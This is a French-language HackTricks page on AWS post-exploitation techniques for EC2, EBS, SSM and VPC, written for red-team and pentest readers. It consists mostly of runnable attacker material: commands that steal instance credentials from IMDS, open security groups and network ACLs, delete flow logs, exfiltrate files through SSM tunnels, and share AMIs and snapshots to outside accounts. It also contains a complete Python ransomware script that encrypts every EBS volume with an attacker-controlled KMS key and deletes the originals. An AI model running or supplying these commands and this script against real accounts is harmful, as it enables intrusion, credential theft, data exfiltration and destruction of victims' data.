AWS - EC2, EBS, SSM & VPC Post-exploitation
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
EC2 & VPC
Pour plus d’informations, consultez :
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
Malicious VPC Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule
VPC traffic mirroring duplique le trafic entrant et sortant des instances EC2 au sein d’un VPC sans nécessiter l’installation de quoi que ce soit sur les instances elles‑mêmes. Ce trafic dupliqué serait communément envoyé vers quelque chose comme un network intrusion detection system (IDS) pour analyse et surveillance.\
Un attaquant pourrait abuser de cela pour capturer l’ensemble du trafic et obtenir des informations sensibles :
Pour plus d’informations, consultez cette page :
Copier une instance en cours d’exécution
Les instances contiennent généralement des informations sensibles. Il existe différentes façons d’y accéder (voir EC2 privilege escalation tricks). Cependant, une autre manière de vérifier ce qu’elles contiennent est de créer une AMI et de lancer une nouvelle instance (même dans votre propre compte) à partir de celle‑ci:
# List instances
aws ec2 describe-images
# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1
# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1
# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1
# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01" --region eu-west-1
# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
EBS Snapshot dump
Snapshots are backups of volumes, qui contiennent généralement des informations sensibles, donc les vérifier devrait révéler ces informations.
Si vous trouvez un volume without a snapshot vous pouvez : créer un snapshot et effectuer les actions suivantes ou simplement le monter dans une instance à l’intérieur du compte :
Covert Disk Exfiltration via AMI Store-to-S3
Exporter une EC2 AMI directement vers S3 en utilisant CreateStoreImageTask pour obtenir une image disque brute sans partage de snapshot. Cela permet des analyses forensiques complètes hors ligne ou le vol de données tout en laissant le réseau de l’instance intact.
AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)
Live Data Theft via EBS Multi-Attach
Attacher un volume io1/io2 Multi-Attach à une seconde instance et le monter en lecture seule pour siphonner des données en direct sans snapshots. Utile lorsque le volume victime a déjà Multi-Attach activé dans la même AZ.
AWS - Live Data Theft via EBS Multi-Attach
EC2 Instance Connect Endpoint Backdoor
Créer un EC2 Instance Connect Endpoint, autoriser l’ingress, et injecter des clés SSH éphémères pour accéder aux instances privées via un tunnel géré. Donne des chemins de mouvement latéral rapides sans ouvrir de ports publics.
AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection
EC2 ENI Secondary Private IP Hijack
Déplacer l’IP privée secondaire d’un ENI victime vers un ENI contrôlé par l’attaquant pour usurper des hôtes de confiance répertoriés par IP. Permet de contourner des ACLs internes ou des règles SG liées à des adresses spécifiques.
AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
Elastic IP Hijack for Ingress/Egress Impersonation
Réassocier un Elastic IP de l’instance victime à l’attaquant pour intercepter le trafic entrant ou initier des connexions sortantes qui semblent provenir d’IP publiques de confiance.
AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation
Security Group Backdoor via Managed Prefix Lists
Si une règle de security group référence une customer-managed prefix list, l’ajout de CIDR de l’attaquant à la liste étend silencieusement l’accès à toutes les règles SG dépendantes sans modifier le SG lui-même.
AWS - Security Group Backdoor via Managed Prefix Lists
VPC Endpoint Egress Bypass
Créer des gateway ou interface VPC endpoints pour retrouver l’accès sortant depuis des subnets isolés. Tirer parti des private links gérés par AWS permet de contourner l’absence de contrôles IGW/NAT pour l’exfiltration de données.
AWS – Egress Bypass from Isolated Subnets via VPC Endpoints
ec2:AuthorizeSecurityGroupIngress
Un attaquant disposant de la permission ec2:AuthorizeSecurityGroupIngress peut ajouter des règles entrantes aux security groups (par exemple, autoriser tcp:80 depuis 0.0.0.0/0), exposant ainsi des services internes à l’Internet public ou à des réseaux autrement non autorisés.
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
ec2:ReplaceNetworkAclEntry
Un attaquant disposant de l’autorisation ec2:ReplaceNetworkAclEntry (ou équivalente) peut modifier les Network ACLs (NACLs) d’un subnet pour les rendre très permissives — par exemple en autorisant 0.0.0.0/0 sur des ports critiques — exposant ainsi l’ensemble de la plage du subnet à Internet ou à des segments réseau non autorisés. Contrairement aux Security Groups, qui sont appliqués par instance, les NACLs sont appliqués au niveau du subnet, donc modifier un NACL restrictif peut avoir un rayon d’impact beaucoup plus large en permettant l’accès à beaucoup plus d’hôtes.
aws ec2 replace-network-acl-entry \
--network-acl-id <ACL_ID> \
--rule-number 100 \
--protocol <PROTOCOL> \
--rule-action allow \
--egress <true|false> \
--cidr-block 0.0.0.0/0
ec2:Delete*
Un attaquant disposant des permissions ec2:Delete* et iam:Remove* peut supprimer des ressources et configurations d’infrastructure critiques — par exemple key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Cela peut provoquer une interruption immédiate du service, une perte de données et la perte de preuves médico-légales.
One example is deleting a security group:
aws ec2 delete-security-group
–group-id <SECURITY_GROUP_ID>
VPC Flow Logs Cross-Account Exfiltration
Dirigez VPC Flow Logs vers un S3 bucket contrôlé par l’attaquant pour collecter en continu des métadonnées réseau (source/destination, ports) en dehors du compte victime pour une reconnaissance à long terme.
AWS - VPC Flow Logs Cross-Account Exfiltration to S3
Data Exfiltration
DNS Exfiltration
Même si vous verrouillez une instance EC2 de sorte qu’aucun trafic ne puisse sortir, elle peut toujours exfil via DNS.
- VPC Flow Logs ne l’enregistrent pas.
- Vous n’avez pas accès aux logs DNS d’AWS.
- Désactivez ceci en réglant “enableDnsSupport” sur false avec:
aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>
Exfiltration via API calls
Un attaquant pourrait appeler des endpoints API d’un compte qu’il contrôle. Cloudtrail enregistrera ces appels et l’attaquant pourra voir les données exfiltrées dans les logs Cloudtrail.
Open Security Group
Vous pourriez obtenir un accès supplémentaire aux services réseau en ouvrant des ports comme ceci:
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
Privesc to ECS
Il est possible d’exécuter une instance EC2 et de l’enregistrer pour qu’elle soit utilisée pour lancer des instances ECS, puis de voler les données des instances ECS.
Pour plus d’informations, consultez ceci.
ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape)
Sur ECS avec le launch type EC2, le control plane suppose chaque task role et pousse les credentials temporaires vers l’ECS agent via l’Agent Communication Service (ACS) sur WebSocket. L’agent sert ensuite ces credentials aux containers via le task metadata endpoint (169.254.170.2). La recherche ECScape montre que si un container peut atteindre IMDS et voler le instance profile, il peut usurper l’agent via ACS et recevoir tous les task role credentials sur cet hôte, y compris les credentials de task execution role qui ne sont pas exposés via le metadata endpoint.
Attack chain
- Steal the container instance role from IMDS. L’accès à IMDS est requis pour obtenir le host role utilisé par l’ECS agent.
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
- Discover the ACS poll endpoint and required identifiers. En utilisant les credentials du instance role, appelez
ecs:DiscoverPollEndpointpour obtenir l’endpoint ACS et collecter des identifiants tels que le cluster ARN et le container instance ARN. Le cluster ARN est exposé via le task metadata (169.254.170.2/v4/), tandis que le container instance ARN peut être obtenu via l’agent introspection API ou (si autorisé)ecs:ListContainerInstances. - Impersonate the ECS agent over ACS. Initiez un WebSocket signé SigV4 vers le poll endpoint et incluez
sendCredentials=true. ECS accepte la connexion comme une session agent valide et commence à streamer des messagesIamRoleCredentialspour toutes les tasks sur l’instance. Cela inclut les credentials de task execution role, qui peuvent débloquer des pulls ECR, des récupérations Secrets Manager, ou l’accès CloudWatch Logs.
Find the PoC in https://github.com/naorhaziz/ecscape
IMDS reachability with IMDSv2 + hop limit 1
Configurer IMDSv2 avec HttpTokens=required et HttpPutResponseHopLimit=1 bloque seulement les tasks qui vivent derrière un hop supplémentaire (Docker bridge). Les autres modes réseau restent à un hop du Nitro controller et reçoivent toujours des réponses :
| ECS network mode | IMDS reachable? | Reason |
|---|---|---|
awsvpc | ✅ | Chaque task obtient son propre ENI qui est toujours à un seul hop d’IMDS, donc les tokens et réponses metadata arrivent avec succès. |
host | ✅ | Les tasks partagent le namespace de l’hôte, elles voient donc la même distance en hops que l’instance EC2. |
bridge | ❌ | Les réponses meurent sur le Docker bridge parce que ce hop supplémentaire épuise la limite de hops. |
Donc, ne supposez jamais que hop limit 1 protège les workloads awsvpc ou host-mode — testez toujours depuis l’intérieur de vos containers.
Detecting IMDS blocks per network mode
-
awsvpc tasks : Les security groups, NACLs ou modifications de routage ne peuvent pas bloquer l’adresse link-local 169.254.169.254 parce que Nitro l’injecte sur l’hôte. Vérifiez
/etc/ecs/ecs.configpourECS_AWSVPC_BLOCK_IMDS=true. Si le flag est absent (par défaut) vous pouvez curl IMDS directement depuis la task. S’il est défini, pivotez dans le namespace host/agent pour le rétablir ou exécutez vos outils en dehors d’awsvpc. -
bridge mode : Quand les requêtes metadata échouent même si hop limit 1 est configuré, les défenseurs ont probablement inséré une règle DROP
DOCKER-USERtelle que--in-interface docker+ --destination 169.254.169.254/32 --jump DROP. Listeriptables -S DOCKER-USERl’expose, et l’accès root permet de supprimer ou réordonner la règle avant d’interroger IMDS. -
host mode : Inspectez la configuration de l’agent pour
ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false. Ce réglage supprime complètement les task IAM roles, vous devez soit le réactiver, passer à des tasks awsvpc, soit voler des credentials via un autre process sur l’hôte. Quand la valeur esttrue(par défaut), chaque process en host-mode — y compris les containers compromis — peut atteindre IMDS à moins que des filtres eBPF/cgroup personnalisés ne ciblent169.254.169.254; cherchez des programmes tc/eBPF ou des règles iptables référant cette adresse.
Latacora a même publié du Terraform validation code que vous pouvez déposer dans un compte cible pour énumérer quels modes réseau exposent encore le metadata et planifier votre prochaine étape en conséquence.
Une fois que vous comprenez quels modes exposent IMDS, vous pouvez planifier votre chemin post-exploitation : ciblez n’importe quelle ECS task, demandez le instance profile, usurpez l’agent et récoltez tous les autres task role pour du mouvement latéral ou de la persistance à l’intérieur du cluster.
Supprimer VPC flow logs
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
SSM Port Forwarding
Required permissions:
ssm:StartSession
En plus de l’exécution de commandes, SSM permet le tunneling de trafic, ce qui peut être abusé pour pivoter depuis des instances EC2 qui n’ont pas d’accès réseau à cause des Security Groups ou des NACLs. L’un des scénarios où cela est utile est de pivoter depuis un Bastion Host vers un cluster EKS privé.
Pour démarrer une session, vous devez avoir installé le SessionManagerPlugin : https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
- Installez le SessionManagerPlugin sur votre machine
- Connectez-vous au Bastion EC2 en utilisant la commande suivante:
aws ssm start-session --target "$INSTANCE_ID"
- Obtenez les identifiants temporaires AWS du Bastion EC2 avec le script Abusing SSRF in AWS EC2 environment
- Transférez les identifiants sur votre machine dans le fichier
$HOME/.aws/credentialsen tant que profil[bastion-ec2] - Connectez-vous à EKS en tant que Bastion EC2:
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
- Mettez à jour le champ
serverdans le fichier$HOME/.kube/configpour qu’il pointe vershttps://localhost - Créez un tunnel SSM comme suit :
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
- Le trafic de l’outil
kubectlest maintenant redirigé via le tunnel SSM passant par le Bastion EC2 et vous pouvez accéder au cluster EKS privé depuis votre machine en exécutant :
kubectl get pods --insecure-skip-tls-verify
Notez que les connexions SSL échoueront à moins que vous ne définissiez le flag --insecure-skip-tls-verify (ou son équivalent dans les outils d’audit K8s). Étant donné que le trafic est tunnelisé via le tunnel sécurisé AWS SSM, vous êtes protégé contre toute forme d’attaques MitM.
Enfin, cette technique n’est pas spécifique à l’attaque de clusters EKS privés. Vous pouvez définir des domaines et des ports arbitraires pour pivot vers n’importe quel autre service AWS ou une application personnalisée.
Transfert de port local ↔️ distant rapide (AWS-StartPortForwardingSession)
Si vous avez seulement besoin de rediriger un seul port TCP depuis l’instance EC2 vers votre hôte local vous pouvez utiliser le document SSM AWS-StartPortForwardingSession (aucun paramètre d’hôte distant requis) :
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>
La commande établit un tunnel bidirectionnel entre votre poste de travail (localPortNumber) et le port sélectionné (portNumber) sur l’instance sans ouvrir de règles Security-Group entrantes.
Common use cases:
- File exfiltration
- Sur l’instance, démarrez un serveur HTTP rapide pointant vers le répertoire que vous souhaitez exfiltrer :
python3 -m http.server 8000
- Depuis votre poste de travail, récupérez les fichiers via le SSM tunnel :
curl http://localhost:8000/loot.txt -o loot.txt
- Accéder aux applications web internes (par ex. Nessus)
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835
Astuce : compressez et cryptez les preuves avant de les exfiltrer afin que CloudTrail n’enregistre pas le contenu en clair :
# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
Partager AMI
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
Rechercher des informations sensibles dans les AMIs publiques et privées
- https://github.com/saw-your-packet/CloudShovel: CloudShovel est un outil conçu pour rechercher des informations sensibles au sein d’Amazon Machine Images (AMIs) publiques ou privées. Il automatise le processus de lancement d’instances à partir des AMIs ciblées, le montage de leurs volumes et l’analyse à la recherche de secrets potentiels ou de données sensibles.
Partager EBS Snapshot
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
EBS Ransomware PoC
Une preuve de concept similaire à la démonstration Ransomware présentée dans les S3 post-exploitation notes. KMS devrait être renommé en RMS pour Ransomware Management Service tant il est facile de l’utiliser pour chiffrer divers services AWS.
Tout d’abord, depuis un compte AWS ‘attacker’, créez une customer managed key dans KMS. Pour cet exemple nous laisserons AWS gérer les données de clé pour moi, mais dans un scénario réaliste un malicious actor conserverait les données de clé en dehors du contrôle d’AWS. Modifiez la key policy pour autoriser n’importe quel Principal de compte AWS à utiliser la clé. Pour cette key policy, le nom du compte était ‘AttackSim’ et la règle de policy autorisant tout accès s’appelle ‘Outside Encryption’
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}
The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
kms:CreateGrantkms:Decryptkms:DescribeKeykms:GenerateDataKeyWithoutPlainTextkms:ReEncrypt
Maintenant, avec la key publique accessible à utiliser. Nous pouvons utiliser un compte ‘victim’ qui a des instances EC2 lancées avec des volumes EBS non chiffrés attachés. Les volumes EBS de ce compte ‘victim’ sont notre cible pour le chiffrement ; cette attaque se déroule sous l’hypothèse d’une compromission d’un compte AWS à hautes privilèges.
Similaire à l’exemple de ransomware sur S3. Cette attaque va créer des copies des volumes EBS attachés en utilisant des snapshots, utiliser la key publique disponible du compte ‘attacker’ pour chiffrer les nouveaux volumes EBS, puis détacher les volumes EBS originaux des instances EC2 et les supprimer, et enfin supprimer les snapshots utilisés pour créer les nouveaux volumes EBS chiffrés.
Cela a pour résultat de ne laisser dans le compte que des volumes EBS chiffrés.
Il est également important de noter que le script a arrêté les instances EC2 pour détacher et supprimer les volumes EBS originaux. Les volumes originaux non chiffrés ont maintenant disparu.
Ensuite, revenez à la key policy dans le compte ‘attacker’ et supprimez la règle ‘Outside Encryption’ de la key policy.
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}
Attendez un moment pour que la nouvelle key policy se propage. Puis revenez au compte ‘victim’ et tentez d’attacher l’un des EBS volumes nouvellement chiffrés. Vous constaterez que vous pouvez attacher le volume.
Mais lorsque vous tentez réellement de redémarrer l’instance EC2 avec le volume EBS chiffré, ça échouera et elle passera de l’état ‘pending’ à l’état ‘stopped’ indéfiniment, car le volume EBS attaché ne peut pas être déchiffré avec la key puisque la key policy ne l’autorise plus.
Voici le script python utilisé. Il prend des creds AWS pour un compte ‘victim’ et une valeur ARN AWS publiquement accessible pour la key à utiliser pour le chiffrement. Le script va créer des copies chiffrées de TOUS les EBS volumes disponibles attachés à TOUTES les instances EC2 du compte AWS ciblé, puis arrêter chaque instance EC2, détacher les EBS volumes originaux, les supprimer, et enfin supprimer tous les snapshots utilisés pendant le processus. Il ne restera que des EBS volumes chiffrés dans le compte ‘victim’ ciblé. N’UTILISEZ CE SCRIPT QUE DANS UN ENVIRONNEMENT DE TEST, IL EST DESTRUCTIF ET SUPPRIMERA TOUS LES EBS VOLUMES ORIGINAUX. Vous pouvez les récupérer en utilisant la KMS key utilisée et les restaurer à leur état original via les snapshots, mais je tiens à vous informer qu’il s’agit, au final, d’un ransomware PoC.
import boto3
import argparse
from botocore.exceptions import ClientError
def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes
def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids
def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids
def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")
def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")
def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")
def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)
def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()
def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()
Références
- https://www.sweet.security/blog/ecscape-understanding-iam-privilege-boundaries-in-amazon-ecs
- Latacora - ECS on EC2: Combler les lacunes dans IMDS Hardening
- Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo
- Pentest Partners – Comment transférer des fichiers dans AWS avec SSM
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud

